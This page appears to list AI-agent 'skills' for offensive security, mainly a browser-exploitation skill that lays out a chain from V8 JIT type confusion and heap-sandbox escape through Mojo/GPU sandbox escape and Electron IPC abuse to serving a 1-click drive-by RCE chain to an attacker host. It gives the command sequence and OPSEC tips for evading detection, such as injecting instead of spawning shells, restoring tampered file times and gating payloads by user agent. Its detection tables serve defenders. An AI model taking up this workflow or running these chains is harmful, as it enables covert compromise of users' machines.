菜单
Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
Use when escalating privileges on a Windows host — SeImpersonate Potato chains (GodPotato/PrintNotifyPotato), service & DLL hijacking, UAC bypass (fodhelper/ICMLuaUtil), kernel EoP + BYOVD (CVE-2025-29824), token-rights abuse, LSASS/SAM/DPAPI credential harvesting
Use when starting an engagement, before exploitation, or whenever the attack surface changes — build/validate the threat model and detect drift (new unreviewed surface) before advancing
Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation
Use when responding to or forensically investigating an incident — triage acquisition (Velociraptor/KAPE), Volatility 3 memory forensics, Chainsaw/Hayabusa EVTX timelining, anti-forensics detection, cloud IR, ransomware/ESXi response
Use when reverse-engineering a binary or firmware — static triage + decompilation (Ghidra/IDA/Binary Ninja), dynamic instrumentation (GDB/Frida 17/angr), anti-reversing & packer bypass, OLLVM/VM deobfuscation, UEFI/BIOS RE & Secure Boot research, patch-diffing for n-days
Use when starting any offensive-security engagement or task — establishes how to find and invoke the right skill before any action (including clarifying questions, recon, exploitation, or reporting)
| name | browser-exploitation |
| description | Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains |
| metadata | {"type":"offensive","phase":"exploitation","tools":"d8, gdb-gef, pwndbg, lldb, WinDbg, IDA, Frida, jsvu, asar, electronegativity, Wireshark, mojo-tools","mitre":["T1203","T1189","T1059.007","T1068","T1055","T1574"]} |
| kill_chain | {"phase":["weaponize","deliver","exploit"],"step":[2,3,4],"attck_tactics":["TA0042","TA0001","TA0002","TA0004"],"attck_techniques":["T1203","T1189","T1059.007","T1068","T1055.012","T1574.002"]} |
| depends_on | ["recon-osint","vulnerability-analysis","exploit-development","reverse-engineering"] |
| feeds_into | ["initial-access","edr-evasion","shellcode-dev","privesc-windows","privesc-linux","red-team-ops"] |
| inputs | ["target_browser_versions","vulnerability_list","crash_corpus","electron_app_build","attack_surface_map"] |
| outputs | ["renderer_rw_primitive","sandbox_escape_poc","clientside_rce_chain","exploit_poc","finding_record"] |
| references | ["references/v8-jit-typeconfusion.md","references/v8-sandbox-escape.md","references/renderer-to-browser-escape.md","references/electron-webview-rce.md","references/clientside-rce-chains.md"] |
| scripts | ["scripts/v8_typer.js","scripts/sandbox_escape.js","scripts/mojo_fuzz_harness.py","scripts/electron_audit.py","scripts/chain_server.py","scripts/d8_debug.sh"] |
Turn a single client-side bug into full host compromise. The modern browser is a chain target: a JS-engine bug yields an in-renderer arbitrary read/write, the V8 heap sandbox must be escaped to get a native R/W, then a second logic/memory bug in a privileged process (browser broker, GPU) escapes the OS sandbox. Electron and embedded webviews collapse several of these steps. Every cluster pairs the offensive primitive with renderer-crash/IPC telemetry, Sigma/EDR detection, and cleanup OPSEC.
addrof/fakeobj and an in-renderer arbitrary R/W.contextIsolation/nodeIntegration/sandbox misconfig, preload-bridge & IPC abuse, ASAR/fuse/snapshot tampering.| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| JIT type confusion (TurboFan/Maglev/Turboshaft) | T1203 | CWE-843 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |
| Element-kind confusion -> addrof/fakeobj | T1203 | CWE-843 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |
| OOB read/write on JSArray/TypedArray | T1203 | CWE-787 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |
| In-renderer arbitrary R/W (fake TypedArray) | T1203 | CWE-787 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |
| V8 heap-sandbox escape via raw Wasm pointer | T1203 | CWE-787 | references/v8-sandbox-escape.md | scripts/sandbox_escape.js |
| Trusted Pointer Table / WasmExportedFunctionData abuse | T1203 | CWE-843 | references/v8-sandbox-escape.md | scripts/sandbox_escape.js |
| Code/exec via Wasm JIT region pivot | T1203 | CWE-94 | references/v8-sandbox-escape.md | scripts/sandbox_escape.js |
| Mojo IPC handle-confusion sandbox escape | T1203 | CWE-269 | references/renderer-to-browser-escape.md | scripts/mojo_fuzz_harness.py |
| GPU-process UAF/OOB (Dawn/WebGPU, ANGLE) | T1203 | CWE-416 | references/renderer-to-browser-escape.md | scripts/mojo_fuzz_harness.py |
| Mojo interface fuzzing for broker bugs | T1203 | CWE-20 | references/renderer-to-browser-escape.md | scripts/mojo_fuzz_harness.py |
| Electron contextIsolation/IPC bridge RCE | T1059.007 | CWE-1188 | references/electron-webview-rce.md | scripts/electron_audit.py |
| nodeIntegration / webviewTag preload abuse | T1059.007 | CWE-829 | references/electron-webview-rce.md | scripts/electron_audit.py |
| ASAR integrity / fuse / V8 snapshot tamper | T1574.002 | CWE-345 | references/electron-webview-rce.md | scripts/electron_audit.py |
| XSS/open-redirect -> Electron RCE | T1189 | CWE-79 | references/electron-webview-rce.md | scripts/electron_audit.py |
| 1-click drive-by chain delivery | T1189 | CWE-693 | references/clientside-rce-chains.md | scripts/chain_server.py |
| Cross-engine (JSC/WebKit) primitive port | T1203 | CWE-843 | references/clientside-rce-chains.md | scripts/chain_server.py |
# 0. Pin the exact target build (Chrome/Edge/Electron all carry a V8 version)
# chrome://version | edge://version | electron --version
jsvu --engines=v8 # local d8 of matching version
./scripts/d8_debug.sh ./d8 ./poc.js # d8 w/ exploit-friendly flags
# 1. Engine bug -> in-renderer R/W (see references/v8-jit-typeconfusion.md)
d8 --allow-natives-syntax --shell ./scripts/v8_typer.js
# yields addrof(), fakeobj(), read64()/write64() inside the V8 heap cage
# 2. Escape the V8 heap sandbox -> native R/W (references/v8-sandbox-escape.md)
d8 --no-sandbox-testing-mode ./scripts/sandbox_escape.js # local test;
# on a real build: abuse trusted Wasm object raw pointer -> overwrite RWX Wasm code
# 3. Escape the OS sandbox: Mojo broker logic bug OR GPU-process memory bug
python3 scripts/mojo_fuzz_harness.py --interface FileSystemAccess --iters 100000
# 4. Electron / webview target: audit + weaponize
python3 scripts/electron_audit.py /path/to/app.asar # finds nodeIntegration/IPC/fuse gaps
# craft IPC/preload payload from the report; package XSS->RCE
# 5. Stage the full 1-click chain and serve it
python3 scripts/chain_server.py --stage1 renderer.js --stage2 escape.js --lhost 10.0.0.5 --lport 8080
| Technique | Telemetry/IOC | Detection (Sigma/EDR) | OPSEC note |
|---|---|---|---|
| JIT type confusion | Renderer crash dumps (chrome_crashpad, crashpad_handler), GPU/renderer restarts, *-crash in ~/AppData/Local/.../Crashpad | Sigma: spike in renderer crash reports; EDR on crashpad_handler bursts | Spray/clean up corrupted arrays; bail without crashing on failed type-check; do not leave %DebugPrint calls |
| V8 sandbox escape | Native R/W faults if math is off; abnormal RWX Wasm pages | EDR: RWX region churn inside chrome.exe/renderer; ETW VirtualProtect to RWX | Keep corruption inside the cage until the last step; reuse existing RWX Wasm code page rather than allocating new |
| Mojo broker escape | Browser process spawning cmd.exe/powershell.exe/rundll32.exe; unexpected file writes by broker | Sigma: chrome.exe/msedge.exe parent -> shell child; EDR child-process rule; Mojo message audit | Live off the broker's own capabilities (file write, process launch); avoid spawning a console child — inject instead |
| GPU-process bug | GPU process crashes (--type=gpu), Dawn/ANGLE asserts, DXGI/Metal faults | EDR on GPU-process child anomalies; WebGPU enabled via policy = surface | Test against the right GPU backend (D3D11/Metal/Vulkan); fail closed without crashing the GPU process |
| Electron IPC/preload RCE | app.asar mtime change, node child of Electron app, child_process.exec | Sigma: Electron app spawning shells; FIM on app.asar/snapshot blobs | Prefer in-process JS exec (require gadget) over child_process; restore app.asar mtime after fuse/snapshot tamper |
| Drive-by chain delivery | Suspicious text/html with large encoded JS, WebSocket/long-poll to attacker host, UA-gated content | Proxy/Sigma on long base64/%u blobs in HTML; JA3/JA4 of staging host | UA/feature gate so only the exact target build receives stage-2; single-use, expiring URLs |
addrof/fakeobj and an in-cage arbitrary R/W via a fake TypedArray. Backed by v8_typer.js, d8_debug.sh.sandbox_escape.js.mojo_fuzz_harness.py.nodeIntegration/contextIsolation/sandbox matrix, preload-bridge & IPC abuse, deprecated webviewTag, ASAR integrity bypass (CVE-2025-55305) and V8 snapshot/fuse tampering, XSS->RCE. Backed by electron_audit.py.chain_server.py.